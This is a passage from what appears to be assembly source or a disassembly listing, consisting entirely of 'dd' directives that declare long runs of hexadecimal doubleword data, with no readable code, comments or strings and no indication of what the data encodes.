1ACD6C86h dd 2653032Fh, 7CAA2Ah, 8B7F3481h, 1B77D3B0h, 7C774A05h dd 0C4C4570Eh, 0A400E816h, 29997F1Ch, 21306FAFh, 433F8480h dd 8100826Ah, 0EC63DCE7h, 7BE5818h, 8A754947h, 0DDFE1296h dd 5D5E1458h, 90644420h, 0F9F10045h, 8847C7C2h, 285CAD20h dd 69420044h, 5BFB338Ah, 9C250005h, 760A6B57h, 0BC00BEC7h dd 8FAE4A28h, 9F290AFh, 561643D9h, 29CDC841h, 4DCA8534h dd 0F030FC0h, 979A00C0h, 0A0D279C6h, 61001B12h, 8AA184A5h dd 5BB4BBAh, 9554D1BFh, 0ABB38120h, 0FE16D822h, 30888C00h dd 3AE28EFCh, 232B0013h, 247E80F6h, 0BCA1762Ch, 1C702F40h dd 2511A1DAh, 0E44060ECh, 58001E70h, 87FB6B15h, 0FA6534D8h dd 0D09B4C13h, 3FCF9407h, 378FB0DEh, 0F900245Dh, 1CEC0464h dd 0C47C3Ah, 0A363F755h, 1F3F33A9h, 3894A700h, 0BE739F4Bh dd 76F40069h, 98F116B5h, 2E00C901h, 41D60984h, 7DA4B9Bh dd 8F8EE18Ch, 0D5B793E5h, 16DEA6F0h, 29D0EE50h, 1CAB000h dd 3B0547A7h, 0C28700F2h, 0A70BF79h, 8500E7C0h, 0C3097BC4h dd 0D7148Ch, 6F4E322Ah, 0D2118B72h, 653D0F0Bh, 68B88204h dd 871FE24Dh, 5A015FCh, 254E2BA2h, 3C02DA56h, 805C9044h dd 0A3EB5767h, 0A0D738BCh, 0E33662h, 0FD45270Ah, 630B5273h dd 68423F02h, 5E3E2FCCh, 0D2D81E94h, 0E160003Bh, 0A0095F18h dd 68833424h, 2D7B0300h, 275D6D8h, 0BD6BD26Ch, 4C402E62h dd 24015480h, 0E30EFA4Bh, 28DC08h, 0A0CC397Eh, 0DBBF6700h dd 82D230F5h, 3C006F4Eh, 45A52B4h, 67711EB1h, 3131F3Eh dd 0DD82EF8Bh, 999D2A98h, 0A2FE000h, 0B6FFD0ACh, 0E3F02EC9h dd 62B5011Ch, 0CC34FB3Ah, 1400E62Bh, 8071537Bh, 0F10B97h dd 0B7DD375Fh, 43C2F726h, 0BA9A3613h, 0CD45E00h, 62E6FBh dd 94AE70AFh, 3258B266h, 0FB0C63Ch, 20E0C38Ah, 8FC52B41h dd 0A69F0480h, 80D13D93h, 0A9D5B480h, 1EB1060Ch, 1D21E8EFh dd 0C229B2A8h, 2AF3FD6Eh, 78000044h, 0BDFF3802h, 3103CCh dd 2F0F74FBh, 17564A33h, 8736A00h, 4D35282Ah, 1475076Ch dd 0CA97D603h, 3CFD00F8h, 152BA15Dh, 8A4EAC07h, 97B0CA30h dd 17FBF05h, 95E85982h, 0C5C2AAAEh, 80602A98h, 0DBD19Bh dd 0F490798Eh, 1C6EF014h, 6A62DE16h, 801B101h, 903CF667h dd 7D4AF454h, 9CF40BCCh, 0F482C5FEh, 0F460BD61h, 589805DBh dd 0CA354302h, 40AA81DDh, 9AD30B00h, 1042434Ch, 70BBB58h dd 0B80A40A4h, 0D9290299h, 84D88175h, 0E08AA800h, 80B534B6h dd 0E82700B0h, 2A1D1C45h, 657639A9h, 7BE158C1h, 43830AEh dd 56547500h, 0DE871BD5h, 67914907h, 633C03Bh, 5974D844h dd 0C2E975E6h, 0CDD9680h, 8CD8F440h, 250EDE00h, 0ECFAB971h dd 0AB6A016Fh, 0F1FBE7B1h, 0C456D6DFh, 0C0C90A8Bh, 0DDA7B78Ch dd 93F40048h, 8FE143D6h, 32481701h, 67C7A2FBh, 983868DCh dd 3AEE10A0h, 90152586h, 189BB19Ch, 11145284h, 60069EEh dd 0AC62DA8Eh, 187E2A3Fh, 213B9ABFh, 53766079h, 8801C803h dd 0C7DC5CB0h, 287605Eh, 12D254DFh, 37E8D45h, 0BB4C0C99h dd 0CD1C76E9h, 38F8307Dh, 0CD00F675h, 47B5BFEAh, 995B5263h dd 2553010Ch, 0CC29F94Ah, 2872C065h, 1755702Eh, 21308025h dd 0A96DE1h, 6C3CE8C4h, 48BD8A01h, 0C7844600h, 0A1C6DA99h dd 0C3150531h, 2D3C23h, 563D1FECh, 0CC09F10Eh, 684A8943h dd 157A70h, 0DC9C6D91h, 0E6A07186h, 1A353900h, 0B40DCA93h dd 88FB0072h, 0C4DF380Ah, 4900A928h, 9BB85FA8h, 0DD9FF1h dd 79F553D9h, 0BC91805Ah, 8E56210Fh, 255E6984h, 0C4C99740h dd 3D83C20h, 0F590FF9Fh, 0FE9C98Eh, 0CB9AD879h, 51C8341Eh dd 0A468FB00h, 110277h, 55C60A5Dh, 283B4091h, 0E5CC8005h dd 78C397B1h, 906DDA7Eh, 0A8C3A1A0h, 0E816FC94h, 0CB1400D2h dd 4030B54Ch, 5500174Dh, 0DAB14328h, 55931F2h, 3F547670h dd 0D0C4F421h, 78003EF0h, 49FCF1E5h, 1CF6ED4Fh, 1D346A6h dd 424A6585h, 3DDC605Dh, 1A004871h, 0FD686A29h, 3DCB47F8h dd 75AF12h, 441D6266h, 0A532DB65h, 0A9610300h, 0CFF14D8Ah dd 742F1E05h, 0D16A0E85h, 20B17E0h, 0C4007E93h, 9731BAAFh dd 3F32F774h, 3A007095h, 0C39AEECAh, 0B4165CE4h, 6C403324h dd 3B184A86h, 353700A2h, 5F0D4FC8h, 3E0E5532h, 2058234Ch dd 3B723922h, 43243B41h, 7C3F388Ah, 3D2F0208h, 90A077D0h dd 0D1C6891Eh, 621E9890h, 7D0CA218h, 0F028111Dh, 1353F8BEh dd 40EF2E04h, 815B6C04h, 100EF76Ah, 831F687Ah, 7802C36Eh dd 7EF7C20h, 0C393EDEh dd 0CDA08080h, 20A01505h, 0A2321062h, 78822860h, 0BE7809ECh dd 0DC207D94h, 14779375h, 0CDBAFB05h, 1400B06Ah, 0D60FDC87h dd 282D5005h, 0BBA8C064h, 2B045E62h, 82BE0886h, 8131F6Ah dd 8099D90Fh, 0B686F730h, 0D57103E0h, 92DA06CFh, 0DD61609Fh dd 0B8C046C2h, 0E574AEEEh, 90D4005Dh, 0F9FB8F6Ah, 4D0064BDh dd 37356CCFh, 0CBADEBh, 0A954B314h, 0BD835A8Ch, 65BA2E00h dd 61C470CFh, 0F3E90040h, 0B0913744h, 4707A613h, 0EEF2B689h dd 9050B2D0h, 765A38F6h, 0D380E83Bh, 0A04082BFh, 843E972Dh dd 4D788F20h, 0BA2CE1CEh, 0E180E109h, 8C1C2BB9h, 60010484h dd 78FCE458h, 2180E208h, 0D2B0BC82h, 0CC01B291h, 0C0F56305h dd 0BA00429Eh, 0F002F43Dh, 0ABCA32F6h, 0B374C106h, 0F9A0B457h dd 0F3D91Ah, 2094923Ah, 2F027F82h, 0F67ACD04h, 72C02EEDh dd 16AC35Ah, 29E8D6BFh, 4872B735h, 0AC0141C0h, 6F6A7B17h dd 7ADCD560h, 6EF21566h, 0DE00F473h, 0F54AE30Bh, 0A0097CFh dd 928B5D17h, 0EBA0946h, 0ED37B564h, 13ECF4C7h, 390078C3h dd 2C08DF60h, 0EDC89Ch, 90254CB2h, 1603CBD3h, 915670F3h dd 4BD4C200h, 0A2656AB6h, 0F7570080h, 8F1BE605h, 0F800E187h dd 0E8E23BF1h, 6165074h, 174486C2h, 0DC0508CEh, 8EA3688Ch dd 9DEC8281h, 3DF54D0h, 96612336h, 0D0E13F8Ah, 0D399F087h dd 60228B03h, 0C12381D9h, 55D1D6ACh, 6232108Fh, 617E3763h dd 8F649FE0h, 38E7B500h, 209CE850h, 8CA400ADh, 8DC76B3Eh dd 0A37C6522h, 0D3693007h, 83833D87h, 0F30A6B8h, 97AB32B9h dd 0A480380Eh, 0D55427FBh, 7C6F8301h, 0F96C91D3h, 47A6444h dd 0E60EC3EFh, 2E100687h, 192BC996h, 0D6095800h, 8710DA31h dd 2F2107BDh, 0B3A5CD0Ah, 0CF904E85h, 2C606B49h, 33973731h dd 9BAE03E1h, 83964892h, 21320830h, 0E339CD6h, 0AA496C3Bh dd 6520F5CFh, 187C8DAFh, 0D30032EAh, 50AEE4F0h, 3A9564h dd 0B95679C0h, 0F6E6D478h, 0A8B57401h, 0FA75D92Bh, 0A540C18Ch dd 30C0AB36h, 64EA0477h, 174E0680h, 298672D9h, 89215130h dd 804284h, 70584ECFh, 0F0D0D49Ch, 5CA2310Ch, 3C9E8F9h dd 9316D2D9h, 410077DEh, 5802F2A4h, 19638330h, 8EAC9F5h dd 8D2180BCh, 0BB802FAh, 79BE03C5h, 0F3CCB2B1h, 70455006h dd 85E02031h, 60A5C42Ch, 31E48Eh, 6023580Ch, 6728B16h dd 0DAE4DD54h, 0CCA15D00h, 26CD5C9Ch, 0F37DB8h, 3009E53Fh dd 819EC1D7h, 0B358EB61h, 3982A8AAh, 0FFDF924h, 6E0F0452h dd 0C1EA3658h, 4F2B576Dh, 0D6B853h, 36418321h, 9D7C036Eh dd 70140A7Ah, 0CA0C73Dh, 29D2A1B3h, 308B49A7h, 0C62D9900h dd 0B4FF6F50h, 0FC8F1D00h, 9C7BC939h, 0BC406260h, 0E0E4C03Eh dd 593F8B11h, 6DEF708h, 984A3140h, 0A449296h, 9C16D159h dd 2F5C0A4h, 0FB46305Fh, 8A00A222h, 32E102FDh, 35FC022h dd 3844A3BAh, 0C03ADBE9h, 0A1CF2051h, 0A918436Ch, 0AEE33304h dd 3A32954Bh, 3390E027h, 30DEC093h, 0B371B075h, 88A8C1ADh dd 0E53405C7h, 680668CCh, 0A412E1Ch, 0C75840A0h, 48F0384h dd 1DE0B192h, 0B490C462h, 1F40D815h, 0A36C1E94h, 0CA3D38B3h dd 0AC744063h, 4A942408h, 0D8143E80h, 4305EC2Eh, 1AB6CB1h dd 49384D98h, 0D0402129h, 5E10D89Bh, 0D23716C3h, 0CB350390h dd 13E4A00Eh, 2C910644h, 88E95130h, 339430E6h, 93AEE208h dd 40356492h, 67339DEDh, 0E2FB1C4Ah, 0EC987E54h, 30DEF94Ch dd 925D4607h, 50437EB3h, 19390E3Bh, 6F209A42h, 0B8EF7B32h dd 7054750Fh, 1E08E59h, 1CDD400Eh, 0AE444987h, 0C4FAF0h dd 0CBF80FC0h, 31035967h, 41205A61h, 0E9D012CAh, 0E554041Eh dd 0A430D025h, 0AD40C058h, 51B260DEh, 13F7922Fh, 760297F6h dd 0A4511216h, 4CD8A096h, 20BBEBh, 0D0F9FBF0h, 28F8526Eh dd 3D0423F0h, 0D3055596h, 8C8E2094h, 12C03088h, 30D2551Bh dd 0C6192251h, 140035FDh, 0ED396EF5h, 171B5Eh, 0F22CF6DCh dd 9663CAD8h, 9C6C354Ch, 0B080F0C6h, 145009D8h, 4020DA06h dd 2DF8D15Fh, 85A73800h, 0C3308A8Ch, 9282072Bh, 0D264F7A8h dd 908022EDh, 8168B291h, 4977B492h, 0D06D9624h, 0F3C09E9Ch dd 0E2A9DEFDh, 5108C6FFh, 9300813Dh, 0B93EF0D1h, 399149h dd 844C2C55h, 4089636Fh, 4E95F103h, 0D1622B30h, 7E31E643h dd 0E1A6B010h, 0D94016Ch, 79C3CBF0h, 8E089888h, 0F9B921h dd 83B5FC6Ch, 3D0DA809h, 50448259h, 9444AC04h, 259F0984h dd 6CB0FBF9h, 0E8763666h, 67A87D21h, 87369081h, 0B001DD38h dd 572B4CDh, 0C8F63D4Dh, 40FB7524h, 0A348B316h, 86781ECh dd 9C4026DDh, 309AE734h, 9708F956h, 4E7F599h, 0FB5C0820h dd 597F0058h, 270D0205h, 0C7600EEDh, 56BC1051h, 0EC011FD9h dd 5F2CC042h, 0BDFE7FBh, 8864B858h, 49908927h, 34600D00h dd 5DFEACD3h, 0F1659C07h, 4A9BADBh, 80645644h, 83AEFC54h dd 0D7C0D0B1h, 0E67B339Fh, 763400CCh, 88A3E4B2h, 0F154A4D5h dd 0AF008AC4h, 3C35C43h, 108C0A39h, 32E8B9CDh, 679050A4h dd 80514F18h, 0D6ADB258h, 24887308h, 60606E46h, 0CD677C34h dd 0A1567100h, 0C0E53392h, 21DC6005h, 24CB1AC1h, 0D5F0B500h dd 0D64E90F7h, 0C8650EC9h, 49296497h, 0D9085C27h, 0CFA1D090h dd 62A9D988h, 437420F4h, 0E830C611h, 788A8A44h, 0B9EC6360h dd 1391900h, 56C4903Fh, 0EF7000Bh, 0C8F6F827h, 9C1F4AAAh dd 24382E38h, 0D0150BEh, 8E8010CDh, 8C40A074h, 0E633A80Eh dd 343876AEh, 1917DE1h, 0ACB32B1Ah, 40C7A23Dh, 961F08BCh dd 8304324Ch, 0CCC858AEh, 0A400F709h, 5231FD67h, 4893282Eh dd 0D3BCB98Fh, 5985F404h, 12903016h, 60ECE153h, 480C2C7Eh dd 38F2BCA2h, 410A0020h, 436C8F8Dh, 0E091A7FCh, 0AA84EF9Eh dd 8362E00Dh, 6CE7B720h, 22BD5C1Bh, 20ECB413h, 0F47D7CBCh dd 1144201h, 9B7547C3h, 90F0E00Ch, 0DE51EA00h, 63F4EFE4h dd 24EE1C30h, 7047815Eh, 74D79D26h, 58C91ACh, 306602E8h dd 308CE93h, 0BA02F08Bh, 3B42E8A7h, 2FC0028Ah, 0D73E05ACh dd 97F6AC81h, 0CD72E08Dh, 3F2E7092h, 46743C61h, 75AA1FA1h dd 0B456C580h, 0C1F35958h, 0E21DF9E1h, 0AC6086D1h, 46C89D01h dd 2FE019Fh, 60E3305Ch, 89A01028h, 0D0003E6h, 0B8F68067h dd 1322243Eh, 8B1F808h, 5AC1E784h, 5DD8F436h, 0D2448657h dd 3643038Dh, 0B60ADE11h, 898614Ch, 2BBA050h, 0D22A3571h dd 0C24C90A4h, 0A448CBA8h, 732ED927h, 8A4E2C83h, 0FF40649Eh dd 21304102h, 0A09163EBh, 3E78400h, 37284295h, 654BF7F0h dd 1DF62CF0h, 0C2E921FCh, 0A3B2449Ch, 0A72A7C52h, 803A488h dd 942E754Fh, 319FF827h, 4AA53E16h, 0C11E4C9h, 2F5112B0h dd 13E37440h, 24BB169Eh, 3DF0D9D2h, 0EA8F506h, 1A7061DEh dd 1CB00300h, 5C3AC929h, 5E700483h, 0D2E39985h, 1851AC78h dd 0C0183479h, 9A7FB917h, 0B09C4E00h, 485CB231h, 5E06B4AFh dd 313CCA96h, 91D80E30h, 12A20A8h, 0B5794625h, 0D863D0A0h dd 564CE939h, 449F0970h, 7FA04850h, 0A779Eh, 78E05A3Bh dd 0E61479C4h, 13DCA258h, 8020D8B3h, 0B24E94h, 7F0A2FC6h dd 0E154A052h, 0D45FFF2Ch, 60A7F108h, 0DA96CE6h, 0F4A640B8h dd 1B08544h, 0A9986CFEh, 74B8AA99h, 38757F24h, 3501B494h dd 0BCB0B1A2h, 49F924F0h, 5B8350FEh, 65B2E936h, 8010D131h dd 0D23A3640h, 0AC272632h dd 4D2C08h, 68A674FBh, 10DCA588h, 8424510Ah, 0CD39E80h dd 0BFECAA1h, 266D14BDh, 0E023A093h, 6CE200FDh, 0CBF80D95h dd 0B49A4486h, 5F6CFA09h, 1685D532h, 9205814Bh, 6832EDh dd 0ACC40751h, 391CCF9h, 588D643Ch, 0B0FC6138h, 0DA44D894h dd 3E53012Eh, 2D1DC271h, 3FB8283Fh, 59201242h, 92C95880h dd 81956063h, 6FA0B396h, 0B610F460h, 284A3E59h, 30B49E2Ch dd 50298FA6h, 6A761255h, 48420502h, 800EBF90h, 3C2D723Ch dd 8FD02824h, 5836399Ah, 92CF602h, 9CA02051h, 0F498DD34h dd 309288ECh, 114AA4A1h, 0C8E2F6E4h, 0C089A49Ch, 5171A179h dd 0F11276BAh, 0AB008DE4h, 4A59F9D4h, 0B996F8D7h, 16086C88h dd 9D461898h, 5A02F402h, 0BB31F330h, 2FCB710h, 7D36C403h dd 0BFECAEh, 46C3F219h, 0DA098D9Fh, 0D6D50A0Eh, 8442961Ch dd 68FA3D0Ch, 312FA7F0h, 0D939B5ECh, 83EBD821h, 7E5A1F00h dd 5E182B07h, 9F8E090Bh, 0AC103197h, 0A4AAC40Eh, 9CC2DA40h dd 9A073700h, 4909325Eh, 890428BAh, 175B4CC8h, 650E12Ch dd 39DBAFB3h, 4406D92Eh, 0ECA2B140h, 0C930CEF1h, 0BCE88434h dd 1209E68Ch, 8879A269h, 24EE54C8h, 0CAF33800h, 2DC39B1Eh dd 0B2A701E9h, 0E0203ECEh, 0E060DAC2h, 0B95D0864h, 0E01F2E04h dd 12324674h, 0E7005F95h, 0B79A0F36h, 58D6627Dh, 0C9023585h dd 49386114h, 8B748040h, 0A5B38020h, 71428CA6h, 50A44C7Ch dd 0D5385B81h, 5048A93Eh, 75D4C580h, 184F0A08h, 1958CB96h dd 0DB004CF7h, 43DE34E7h, 53D75C8h, 2CD68D36h, 0C04C9B28h dd 7C5CD0E6h, 0BEAF01FEh, 0EE354E1h, 0F4A180D3h, 0E77672B6h dd 0D5C400E5h, 595BC12Fh, 1F013E62h, 0BDEBBC4Eh, 7C732C5Fh dd 0BE078E48h, 0C17A8B8Dh, 63FB4907h, 0AC4788A8h, 17E029FAh dd 4C2020A7h, 46E6EA04h, 903C59h, 0A70E81E3h, 4D97FF5Ah dd 9618EC55h, 584449C4h, 0B8454D4Fh, 7C89E159h, 3047FC02h dd 0EF113395h, 3F88ABAEh, 33C0EC9Eh, 0D299074Bh, 5A5839F4h dd 31E559E0h, 0F74A48A2h, 0E4093812h, 0CFCC6DCFh, 309479E0h dd 41E0672Ch, 0F44C2892h, 6B661324h, 0FAD9890h, 0DBA3042Bh dd 0D2B836AAh, 386CE450h, 8E7E0B13h, 8CE74498h, 976CFC04h dd 8062880Dh, 9F34623h, 1365F220h, 0D9527C99h, 0C8F761AEh dd 10006D59h, 430207F7h, 4AAFAA21h, 0AEFC2208h, 8CA5CFE3h dd 4825505Ch, 63D811B3h, 0F082E829h, 5602B478h, 3007250h dd 0C568E51Bh, 6690E279h, 190F3803h, 6C363ADBh, 2A4E031h dd 8067BA1Dh, 0C084444Eh, 364161F4h, 0ACB50020h, 8EEA44C0h dd 42365600h, 887DE987h, 284F0B89h, 0F048A402h, 98008DA5h dd 9E6B03ACh, 1DE6545h, 0F215FDFh, 389408DAh, 436C0BCCh dd 0E3B431F0h, 0FC0C2EE8h, 0B38085CAh, 5E96CFBh, 800C1E81h dd 0FE0D87A9h, 0D8B6928Ch, 4558E060h, 0EE31F462h, 79A85915h dd 2E5183Bh, 5CD84FF7h, 0AC444C27h, 98CD8B24h, 612244Ah dd 10AE8888h, 19ADD850h, 4419318Bh, 0CF238829h, 0F4317B13h dd 9E008ECCh, 3161C997h, 8AA7F739h, 0F81A7980h, 0DD2EFE81h dd 3A2C5200h, 56952915h, 0D4F649FBh, 30E27442h, 13FAA830h dd 93F17EEh, 9865AD74h, 65A1E4h, 3FF8B7B6h, 402FC63Dh dd 56D404E4h, 20DD88C2h, 0DE986DF2h, 49744600h, 2107E4CEh dd 52AB0ED8h, 960A87Fh, 0C2C6D3Fh, 44CB4801h, 0D32B1138h dd 0EBB81029h, 0E5F5008Ch, 9345EDC2h, 750014B2h, 643E6699h dd 58567421h, 337D8E1Fh, 0B339CCA1h, 432ED0A7h, 9C9C8740h dd 56350C60h, 7A0927Bh, 0D9425BB0h, 0B1BBD569h, 7F402DACh dd 0A7C59A07h, 3971DA04h, 0F0203ECAh, 0F8F11D6Eh, 67A6BC74h dd 63DE81BCh, 845BE7B5h, 99FC3C0h, 300810CCh, 0E81F21Fh dd 4518683Fh, 0C8692270h, 0F5330E56h, 4D822082h, 7C63DDFAh dd 0ABA90998h, 0CBFC4F00h, 5BE671A2h, 578700C4h, 0DD10DA72h dd 75380F0Ch, 7E00F4A5h, 7850C751h, 39C42104h, 0E6F89C7Ch dd 9F7CD6h, 42841BC8h, 0EA309845h, 726F8700h, 109AF3C2h dd 0B87A73EEh, 3C6EE2ACh, 0A480890Fh, 678E5F0Ch, 0E6009633h dd 43F501ACh, 908CA8A1h, 58A7127Ch, 5B280142h, 269016D1h dd 2E91F40h, 0C49B3008h, 0F18E44BEh, 0D4735081h, 194D3698h dd 7834AA49h, 10C760B6h, 64E0DC35h, 140B242Ch, 70D0B750h dd 0A4E9D43Dh, 0B1584018h, 28CDF918h, 2CF06DF5h, 808AF66h dd 0E560A7FAh, 210DA86Ch, 9F91CAD0h, 6CFDB500h, 0B63582AFh dd 0BE1FDF01h, 0CD96B0B4h, 0F8485472h, 50A94C10h, 0C5DDAB0h dd 0C62000F8h, 0F22CF7D7h, 0CB7FE2CDh, 6C480E88h, 1A00B538h dd 728CD316h, 0F6B72D71h, 9B5C02EBh, 0EC41CB0Eh, 81D78490h dd 9473350Bh, 9D9C9249h, 83D211A0h, 0A59651EAh, 5C1A50F4h dd 2E4E9C21h, 0BC237Ch, 26CA76BFh, 0A048B264h, 2934CFB8h dd 7940512Dh, 5BD18D3h, 0A250C58h, 2C980272h, 0B0A4DC43h dd 0E258E26Ch, 0F30F309Ch, 0D6342C00h, 21F658D8h, 0A466130Ah dd 58601868h, 90B93D59h, 6660D4D3h, 0DC00024Fh, 0E4005BBh dd 9E5958FBh, 0D0D1975Ch, 0EDFD018Ch, 4A8D4B00h, 615BD07h dd 0C5F9C0C0h, 3AF27C98h, 6342249Ah, 25CB8B0Ah, 740CA6F8h dd 0B10F3546h, 52E0240Ah, 30593CB9h, 4540DC9Ch, 80CD6118h dd 14910EE9h, 0FC4A6800h, 0C30D1D3h, 40731150h, 8C004C5Ah dd 703ADD28h, 162CE7F6h, 18583023h, 0E866F172h, 1E0164B1h dd 5A3D087Ch, 4C34FC31h, 5E80B491h, 2D02BC46h, 188AB3Eh dd 0B700A0F9h, 0FCC6C1ECh, 4F64002Ch, 8423D3CAh, 2095A5E7h dd 3EB890C4h, 12524AC9h, 23003A08h, 750129Dh, 15DE05h dd 0F23AC7A5h, 0F0A4E404h, 2080A83Ch, 13B143Fh, 0A2E98A7Dh dd 0EB8DE340h, 40796CE2h, 7198271h, 70E969E6h, 0F14220Eh dd 81EEA151h, 1274FBD2h, 0FC58F02Dh, 1C8CD0E8h, 0A677502Dh dd 0F77D4064h, 492541C8h, 0EB900185h, 0C450B4D1h, 0EE7BA1h dd 9DFE7FAAh, 0F6E0B6CCh, 93129801h, 0ABB24F03h, 47049C7Dh dd 73AFD08h, 200BA20Eh, 0CD33CE10h, 9C81E6E9h, 0E3449204h dd 22847814h, 2E122130h, 0F0ECF3h, 0A0E94CE1h, 703113C0h dd 0B10043ACh, 2AFF74FAh, 40E212Ch, 0CB6DD377h, 0C1C08437h dd 0CD011Ch, 6414A23Fh, 0B2249094h, 30D0E258h, 9C05B7AAh dd 8D582741h, 40335808h, 0A0CC50AEh, 38E34C80h, 5167A1Eh dd 8400802Ah, 0B899F51Dh, 0D718BBD1h, 83939201h, 633E1D8Dh dd 4D0C9034h, 0EDB88C6Fh, 29683D02h, 0F013606Dh, 2EFA4628h dd 263BB85Fh, 0D4C4D845h, 36A08C4Fh, 0D5ADF3Bh, 93C37538h dd 48B795Dh, 0F5C3D5C8h, 0AAEBE0ABh, 0A06502CDh, 0A8954B96h dd 58B480A0h, 4969A341h, 11049D10h, 66C78082h, 0B64C4A3Eh dd 0C82F17C4h, 1B03DDF4h, 0FC3F353Ah, 0CFC588E6h, 0EC0FCE7h dd 0EA5BF532h, 0C80DDFE4h, 0A331B3E8h, 542EC1CDh, 2B5E3033h dd 3A9C239Ch, 0F0B87500h, 1374C2E6h, 0A8245A4Eh, 10C1A0DAh dd 2A5049FFh, 0F1372C40h, 4E1AFDh, 771804F5h, 0A8F0AB6Bh dd 0B4D239h, 3628FADBh, 9992C3A6h, 18A2D1D0h, 4EF90209h dd 508E39E5h, 253590E0h, 0F9FF788h, 0E8529E58h, 825BC15h dd 3597944Ch, 0C3821F40h, 0C0F4B5B3h, 6218C185h, 98492AC5h dd 0C448C56Fh, 0F0C86383h, 30D92F07h, 41E14975h, 0F92C8705h dd 0F14C843h, 0D9401C0Ch, 0D0CCFC89h, 1E1D1670h, 593CD3C4h dd 90C37EDAh, 669F8EF8h dd 9C0EE2E0h, 255ADE8Dh, 0E88E3354h, 0C93488h, 8F38FFB9h dd 1331774Fh, 0D07008E8h, 0A4E366F8h, 830CA5Ah, 1532FF6h dd 0AFCDEA1Bh, 0BEDF0A05h, 2C2C3BA8h, 0C6B82048h, 4365C16h dd 0F2574DE4h, 458F801Ch, 753D36h, 43E8BEEEh, 0C75870E5h dd 0F84E4DF2h, 80CCB8D1h, 0EDF94703h, 4A1984C5h, 22029E44h dd 4C4AD0Ch, 3E4404A7h, 287B6B60h, 1C0C4AF8h, 51A7D12Fh dd 399BF207h, 3200E4C2h, 0A075E848h, 0FC017CFDh, 0C60AC8Dh dd 0ECF359C9h, 4ED30CB8h, 0ECD410E0h, 0C61DA902h, 445E807Ah dd 493F808h, 0A216E471h, 30D6F2C0h, 8C0FEFC8h, 0D7A5E53Dh dd 0B8A8B884h, 38C80BCh, 15D0B1E9h, 40BCDA5Ah, 0E84CF244h dd 0D7A11C26h, 919F00F0h, 8ACBAA2h, 68A6F427h, 14453E24h dd 0CCCFF170h, 0F400E30h, 28B4F9CDh, 8656611Fh, 7024AE09h dd 162E782Ch, 1039411Dh, 2F1094E0h, 34561ED6h, 0BB69ED00h dd 18879E21h, 487EC63Dh, 8D4E03ACh, 348834CEh, 0B84916C3h dd 0E8D2CDFh, 0B2B05A93h, 0E02A8FCBh, 0D4465E5Ch, 7880AA3Dh dd 84939F38h, 5CA15235h, 0F2806224h, 0B47B30D1h, 1F3BC316h dd 0FA9C88h, 94880350h, 4909CDD4h, 20EF801h, 8A2AED1h dd 682DA6C1h, 980078E8h, 586174FCh, 92F1A8Fh, 0DCAE358Ch dd 0B4CEEC07h, 598CE094h, 0CFC8C30Eh, 63DF698Bh, 0D0201024h dd 44122E92h, 3BE4674h, 0CC3A792Fh, 0F894BC1Dh, 86019481h dd 0C50DC707h, 1C78C221h, 40B6F04Ch, 47091CD4h, 0F7B1895Ch dd 1A02648Eh, 0F470E046h, 0E9919030h, 3008A611h, 0FA107758h dd 3CA7201Ch, 0E8603164h, 8B27C10Bh, 50F410CAh, 0C307E3B4h dd 190E28C4h, 9A814F58h, 4046E8h, 27A51993h, 0F59DE910h dd 613DB800h, 59CF3C6Eh, 0A12C01AAh, 0FE1D0CB1h, 60DC40C3h dd 0BE418C40h, 2F5AE822h, 1C8123ACh, 0C0295C60h, 0DA35AB84h dd 0BC275669h, 0BCC81721h, 0C7531FC6h, 9428E7C0h, 0FCF14972h dd 2EC12808h, 0D4325F0h, 0BB001C37h, 89370E1Ch, 3FA1067Ah dd 0A08D63F3h, 9ABCF44h, 472B5575h, 42A43881h, 71E98421h dd 44CC40CDh, 0C307F50Eh, 41045EF7h, 373972F2h, 3BBC94ECh dd 16E6048Ch, 0D0A29043h, 0C18E25F8h, 0DAF7D4A1h, 0B2C73C6Dh dd 68708A17h, 14358754h, 0CC0B91A2h, 37742E00h, 0ADCEB4D9h dd 685B2C17h, 50594080h, 0ACCD8825h, 4C072275h, 329E795Ah dd 8F78ED27h, 0BE09454h, 0B340DBD0h, 652510BEh, 6081E480h dd 28B9FF4h, 306F34ECh, 0B86B98A2h, 0E89D7E24h, 465CACC8h dd 0EA7C0035h, 0B70F1B19h, 52557230h, 879F8C2h, 5A63CD08h dd 1DDC0C2Eh, 42D78717h, 0CA21ABDh, 945ED4CAh, 0EA465Ch dd 0DF99B273h, 0F804383Bh, 277C9042h, 6C3831A5h, 17956C99h dd 808E1134h, 5409523h, 2C0C734Fh, 198659Ah, 38C9368Fh dd 0F8082FBBh, 4CD7833Ch, 40F0D8F5h, 95F60759h, 6B55E000h dd 4329AD1Bh, 0C02097B6h, 7F58F956h, 48D25F4Fh, 80C85CE8h dd 792C396h, 6F3D724Ch, 64C8DAB2h, 0CF192075h, 0DC514317h dd 0E9A7D449h, 3F20A8A8h, 48D4ABFh, 12DA3D80h, 8E23543Ah dd 0ACB47600h, 58979515h, 5885FC31h, 3874C946h, 3E1B8040h dd 607C02EBh, 76E1B814h, 7E03FA8Ah, 43821753h, 7120F066h dd 2405972Fh, 0F8F8AC41h, 2C008C32h, 28910A81h, 122B4ACCh dd 0F12F7924h, 0E925E4E8h, 0B0A43244h, 0FAB01324h, 5DDC20A7h dd 2F1639C8h, 10F0BC0Ah, 313040CDh, 6EACA251h, 98181C76h dd 220C8ADBh, 0E88A418h, 260D081Fh, 589C0227h, 8CFC33C7h dd 9899AEA0h, 57865D81h, 406AEC02h, 0E19E4B34h, 2FE26234h dd 0CFFCE500h, 0FBEBDF0Ah, 879B00C2h, 99B9E119h, 97601CAAh dd 0FD610A80h, 71DD09DBh, 9CF0123Dh, 0C45E8B2Dh, 2ED25E7Ch dd 38A523FCh, 0C4844E00h, 0F921B978h, 0C60B3BEEh, 0C1AECC08h dd 4F2F50ACh, 90A07100h, 8F51F509h, 6F65A801h, 3E89A301h dd 494723Fh, 0F601A464h, 0ED66C36Ah, 0FC4A496h, 54085FDEh dd 0E159020h, 9D1DE042h, 96F14045h, 0EBCBE00Bh, 0D3C85000h dd 0AAB25C98h, 0D929C327h, 0C2E0B723h, 9601EECEh, 588C568Ah dd 282C4E43h, 9FEF0F00h, 33575AC2h, 362453Ah, 0A095322Ch dd 787ADBF1h, 779D078Ch, 4A996393h, 40023A94h, 898604ABh dd 0D0A03049h, 0DC98F7D6h, 0B726F07h, 5089442Bh, 82F11D18h dd 0B7D1012Ch, 80E7BAEDh, 66E3D911h, 771B96ACh, 480F162Bh dd 0F01CC7A1h, 0FEE158A9h, 2434AA2Ch, 51397D02h, 43A0811Dh dd 0C02305A3h, 0C2FE8101h, 0E8926AC4h, 150057C0h, 97F19F42h dd 4CB3B5C3h, 4E80B0ACh, 0B4FF11F6h, 